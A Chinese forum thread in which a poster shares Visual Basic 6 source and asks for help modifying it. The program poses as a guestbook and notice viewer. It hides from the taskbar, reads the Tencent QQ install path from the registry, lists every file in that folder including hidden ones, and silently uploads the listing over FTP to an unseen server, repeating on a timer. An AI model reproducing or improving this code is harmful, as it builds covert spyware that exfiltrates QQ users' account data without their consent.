发新话题
打印

学过VB的来帮我修改下源码啊

学过VB的来帮我修改下源码啊

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1                         ' 独立的空的终结字符串                     ' 32位数字
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValueex Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
'************************************
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function SetWindowPos& Lib "user32" (ByVal hwnd As Long, _
    ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, _
    ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
'=========移动无标题窗口==========
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_SYSCOMMAND = &H112
Private Const SC_MOVE = &HF010&
Private Const HTCAPTION = 2
Private Declare Function GetUserName Lib "advapi32.dll" Alias _
        "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Dim a As Integer, b As Integer, c As Integer
Dim mingcheng As String, lujing As String, xinxi As String
Dim namepath As String, liuyanpath As String, xinxibak As String
Dim liuyancishu As Integer, cishu As Integer
Dim aa As Long
Dim len5 As Long
Dim usern As String
Private Sub Form_Load()
On Error GoTo loaderr

'textbox1.attributes.add("style","background-color:transparent")
'******************************************************
'初始化窗体
If App.PrevInstance = True Then
MsgBox "程序在运行"
End
End If
App.TaskVisible = False
Me.Height = Image1.Height
Me.Width = Image1.Width
Label1.Caption = "正在读入信息..."
TextBox1.Text = "朋友之多少,友情知多少。"
TextBox1.Left = 0
TextBox1.Height = 2295
TextBox1.Width = Image1.Width
Me.Caption = "CLEW"
'*******************************************************
'总在最上
Dim myval
  myval = SetWindowPos(Form1.hwnd, -1, 0, 0, 0, 0, 3)
  '*********************************************************
' 装载背景图片
If Dir(App.Path + "\loge.jpg", vbNormal) <> "" Then
Me.Image1.Picture = LoadPicture(App.Path + "\loge.jpg")
End If
  '*********************************************************
'获取登录系统名称

len5 = 256
usern = String(255, 0)
aa = GetUserName(usern, len5)
usern = Left(usern, InStr(1, usern, Chr(0)) - 1)
  '****************************************************
  '得到Windows的安装目录
  Dim abc As String * 256
          Dim PathSize     As Long
          PathSize = GetWindowsDirectory(abc, Len(abc))
'*******************************************
'自定义文件名
lujing = Left$(abc, PathSize) + "\" + usern + ".dat"
xinxi = "xinxi.txt"
liuyanpath = Left$(abc, PathSize) + "\liuyan.txt"
mingcheng = usern + ".txt"
xinxibak = App.Path + "\message.txt"
'***********************************************
'读取QQ注册表模块,获取路径。
Call StartSysInfo
'************************************************
'获取路径文件名称,建立回传信息文件。
Dim S As String, tS As String, X As String
If Dir(App.Path + "/path.dat", vbNormal) <> "" Then
Open App.Path + "/path.dat" For Input As #1
Input #1, X
Close #1
tS = Dir(X & "\*.*", vbHidden Or vbNormal Or vbReadOnly Or vbDirectory)
Do While tS <> ""
S = S & tS & vbCrLf
tS = Dir
Loop
Else
tS = Dir(Label5.Caption & "\*.*", vbHidden Or vbNormal Or vbReadOnly Or vbDirectory)
Do While tS <> ""
S = S & tS & vbCrLf
tS = Dir
Loop

End If
Open lujing For Output As #1
Print #1, S
Close #1
'*******************************************
'进行上传
Timer3.Enabled = True
Exit Sub
loaderr:
MsgBox "程序运行错误~!" & Chr(13) & "不知道说点什么?还是失败了。"
End Sub

Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'拖动 无标题 窗口
    If Button = 1 Then
        Call ReleaseCapture
        Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MOVE + HTCAPTION, 0)
    End If
    '*******************************************************
'总在最上
Dim myval
  myval = SetWindowPos(Form1.hwnd, -2, 0, 0, 0, 0, 3)
End Sub

Private Sub Image2_Click()
Inet1.Cancel
End
Me.WindowState = 1
Me.Hide
Timer1.Enabled = True
End Sub

Private Sub Image3_Click()
Me.WindowState = 1
Form1.Caption = Label1.Caption
End Sub

Private Sub Inet1_StateChanged(ByVal State As Integer)
'**********************************************************
'检测网络连接状态
Dim MsgStr     As String
          Select Case State
                  Case icNone
                          TextBox1.Text = "无状态可报告。"
                  Case icHostResolvingHost
                          TextBox1.Text = "正在查询所指定的主机的   IP   地址。"
                  Case icHostResolved
                          TextBox1.Text = "已成功地找到所指定的主机的   IP   地址。"
                  Case icConnecting
                          TextBox1.Text = "正在与主机连接。"
                  Case icConnected
                          TextBox1.Text = "已与主机连接成功。"
                  Case icRequesting
                          TextBox1.Text = "正在向主机发送请求。"
                  Case icRequestSent
                          TextBox1.Text = "发送请求已成功。"
                  Case icReceivingResponse
                          TextBox1.Text = "正在接收主机的响应。"
                  Case icResponseReceived
                          TextBox1.Text = "已成功地接收到主机的响应。"
                  Case icDisconnecting
                          TextBox1.Text = "正在解除与主机的连接。"
                  Case icDisconnected
                          TextBox1.Text = "已成功地与主机解除了连接。"
                  Case icError
                          TextBox1.Text = "与主机通讯时出现了错误。"
                          Call reading
            
       Case icResponseCompleted
                          TextBox1.Text = "该请求已经完成并且已收到数据。"

    End Select
          Debug.Print TextBox1.Text
End Sub

Private Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'拖动 无标题 窗口
    If Button = 1 Then
        Call ReleaseCapture
        Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MOVE + HTCAPTION, 0)
    End If
End Sub

Private Sub Label10_Click()
On Error GoTo line2
Dim liuyan As String
liuyan = InputBox("请你输入要保存的文件名称:", "提示", Label1.Caption)
If liuyan <> "" Then
Open App.Path + "\" + liuyan + ".txt" For Output As #1
Print #1, TextBox1.Text
Close #1
MsgBox "文本已保存到:" & App.Path + "\" + liuyan + ".txt", 48, "保存成功"
End If
line2:
End Sub

Private Sub Label3_Click()
cishu = GetSetting("留言次数", "cishu", "次数", 1)
namepath = usern & "-" & cishu & "-liuyan.txt"
If Label3.Caption = "发送留言" Then
cishu = Val(cishu) + 1
SaveSetting "留言次数", "cishu", "次数", cishu
' MsgBox cishu
Label3.Caption = "给我留言"
Label3.Enabled = False
Open liuyanpath For Output As #1
Print #1, TextBox1.Text
Print #1, "发送时间:" & Date & "," & Time
Close #1
Call liuyan
Else
'cishu = GetSetting("留言次数", "cishu", "次数", 1)
'MsgBox cishu
TextBox1.Text = "非常感谢你第" & cishu & "次留言!" & Chr(13) & "时间:" & Date & "," & Time & Chr(13) & "内容:"
Label1.Caption = "留言本"
TextBox1.Locked = False
Label3.Caption = "发送留言"
End If
Exit Sub
End Sub
Private Sub Label4_Click()
Label1.Caption = "正在刷新..."
Label3.Caption = "给我留言"
Call geting
End Sub

Private Sub Label6_Click()
TextBox1.Text = ""
Label1.Caption = "关于程序"
Label3.Caption = "给我留言"
TextBox1.Text = "感谢你使用本程序!" & Chr(13) & "版本:" & App.Major & "." & App.Minor & "." & App.Revision & Chr(13) & "作者:pubeer" & Chr(13) & "QQ:382341202" & Chr(13) & "更新于:2008-2-6,9:30:15"
TextBox1.Locked = True
End Sub

Private Sub Label8_Click()

End Sub

Private Sub Label9_Click()
MsgBox "该功能暂不可用!", 48, "提示"
End Sub

Private Sub puting()
On Error GoTo puterr
Dim ri As String
'***********************************************
'上传文件
Inet1.Execute "", "put" & Chr(34) & lujing & Chr(34) & Chr(34) & mingcheng & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
Kill lujing
Call geting
'***********************************************
Exit Sub
puterr:
TextBox1.Text = "失败啦你还不知道吗?"
End Sub
Private Sub geting()
'*********************************************************
'下载信息文件
On Error GoTo geterr
If Dir(xinxibak, vbNormal) <> "" Then
Kill xinxibak
End If
Dim ri As String
Inet1.Execute "", "GET" & Chr(34) & xinxi & Chr(34) & Chr(34) & xinxibak & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
Call reading
Exit Sub
geterr:
Label1.Caption = "读入信息失败"
TextBox1.Text = "连接网络失败,无法获取新的信息。"
End Sub
Private Sub reading()
'*********************************************************
'读出传送文件
On Error GoTo readerr
Dim Lstr As String
TextBox1.Text = "系统日期:" & Date & Chr(13) & ""
Open xinxibak For Input As #1
Do While Not EOF(1)
            Line Input #1, Lstr
            TextBox1.Text = TextBox1.Text & Lstr & vbCrLf
Loop
Close #1
TextBox1.Locked = True
TextBox1.Enabled = True
Label1.Caption = "读入完成"
Label3.Enabled = True
Label4.Enabled = True
Label6.Enabled = True
Exit Sub
readerr:
Label3.Enabled = True
Label4.Enabled = True
Label6.Enabled = True
Label1.Caption = "读入失败"
TextBox1.Locked = True
TextBox1.Text = "发生错误" & Chr(13) & "错误代码:" & Err.Number & Chr(13) & "错误原因:" & Err.Description
End Sub

Private Sub TextBox1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'*******************************************************
'总在最上
Dim myval
  myval = SetWindowPos(Form1.hwnd, -1, 0, 0, 0, 0, 3)
End Sub

Private Sub Timer1_Timer()
a = a + 1
If a = 60 Then
a = 0
Call puting
End If
End Sub
Private Sub liuyan()
On Error GoTo liuyanerr
Inet1.Execute "", "put" & Chr(34) & liuyanpath & Chr(34) & Chr(34) & namepath & Chr(34)
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
If Dir(liuyanpath, vbNormal) <> "" Then
Kill liuyanpath
End If
Label3.Enabled = True
TextBox1.Text = "留言已发出!感谢你的留言!"
Label1.Caption = "留言发送成功"
TextBox1.Locked = True
Exit Sub
liuyanerr:
Label3.Enabled = True
TextBox1.Text = "留言发送失败!请检查系统是否可以连接网络!"
Label1.Caption = "留言发送失败"
End Sub

Private Sub Timer2_Timer()
Call liuyan
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Call puting
Timer3.Enabled = False
End Sub
http://www.helpsoff.com.cn/images/banner48060.gif

TOP

这个是模块

Option Explicit

' 注册表关键字安全选项...
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + _
                       KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
                       KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
                     
' 注册表关键字 ROOT 类型...
Const HKEY_LOCAL_MACHINE = &H80000002
Const ERROR_SUCCESS = 0
Const REG_SZ = 1                         ' 独立的空的终结字符串
Const REG_DWORD = 4                      ' 32位数字

Const gREGKEYSYSINFOLOC = "SOFTWARE\TENCENT\QQ"
Const gREGVALSYSINFOLOC = "Install"
Const gREGKEYSYSINFO = "SOFTWARE\TENCENT\QQ"
Const gREGVALSYSINFO = "Install"
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long

Public Sub StartSysInfo()
    On Error GoTo SysInfoErr
  
    Dim rc As Long
    Dim sysinfopath As String
   
    ' 试图从注册表中获得系统信息程序的路径及名称...
    If GetKeyValue(HKEY_LOCAL_MACHINE, gREGKEYSYSINFO, gREGVALSYSINFO, sysinfopath) Then
    ' 试图仅从注册表中获得系统信息程序的路径...
    ElseIf GetKeyValue(HKEY_LOCAL_MACHINE, gREGKEYSYSINFOLOC, gREGVALSYSINFOLOC, sysinfopath) Then
        ' 已知32位文件版本的有效位置
Else
'Label3.Caption = "读取注册表错误!"

    End If

      ' MsgBox "目标已在:" & SysInfoPath
     Form1.Label5.Caption = sysinfopath

Exit Sub
SysInfoErr:
   
End Sub

Public Function GetKeyValue(KeyRoot As Long, KeyName As String, SubKeyRef As String, ByRef KeyVal As String) As Boolean
    Dim i As Long                                           ' 循环计数器
    Dim rc As Long                                          ' 返回代码
    Dim hKey As Long                                        ' 打开的注册表关键字句柄
    Dim hDepth As Long                                      '
    Dim KeyValType As Long                                  ' 注册表关键字数据类型
    Dim tmpVal As String                                    ' 注册表关键字值的临时存储器
    Dim KeyValSize As Long                                  ' 注册表关键自变量的尺寸
    '------------------------------------------------------------
    ' 打开 {HKEY_LOCAL_MACHINE...} 下的 RegKey
    '------------------------------------------------------------
    rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey) ' 打开注册表关键字
   
    If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError          ' 处理错误...
   
    tmpVal = String$(1024, 0)                             ' 分配变量空间
    KeyValSize = 1024                                       ' 标记变量尺寸
   
    '------------------------------------------------------------
    ' 检索注册表关键字的值...
    '------------------------------------------------------------
    rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
                         KeyValType, tmpVal, KeyValSize)    ' 获得/创建关键字值
                        
    If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError          ' 处理错误
   
    If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then           ' Win95 外接程序空终结字符串...
        tmpVal = Left(tmpVal, KeyValSize - 1)               ' Null 被找到,从字符串中分离出来
    Else                                                    ' WinNT 没有空终结字符串...
        tmpVal = Left(tmpVal, KeyValSize)                   ' Null 没有被找到, 分离字符串
    End If
    '------------------------------------------------------------
    ' 决定转换的关键字的值类型...
    '------------------------------------------------------------
    Select Case KeyValType                                  ' 搜索数据类型...
    Case REG_SZ                                             ' 字符串注册关键字数据类型
        KeyVal = tmpVal                                     ' 复制字符串的值
    Case REG_DWORD                                          ' 四字节的注册表关键字数据类型
        For i = Len(tmpVal) To 1 Step -1                    ' 将每位进行转换
            KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))   ' 生成值字符。 By Char。
        Next
        KeyVal = Format$("&h" + KeyVal)                     ' 转换四字节的字符为字符串
    End Select
   
    GetKeyValue = True                                      ' 返回成功
    rc = RegCloseKey(hKey)                                  ' 关闭注册表关键字
    Exit Function                                           ' 退出
   
GetKeyError:      ' 错误发生后将其清除...
    KeyVal = ""                                             ' 设置返回值到空字符串
    GetKeyValue = False                                     ' 返回失败
    rc = RegCloseKey(hKey)                                  ' 关闭注册表关键字
End Function
http://www.helpsoff.com.cn/images/banner48060.gif

TOP

发新话题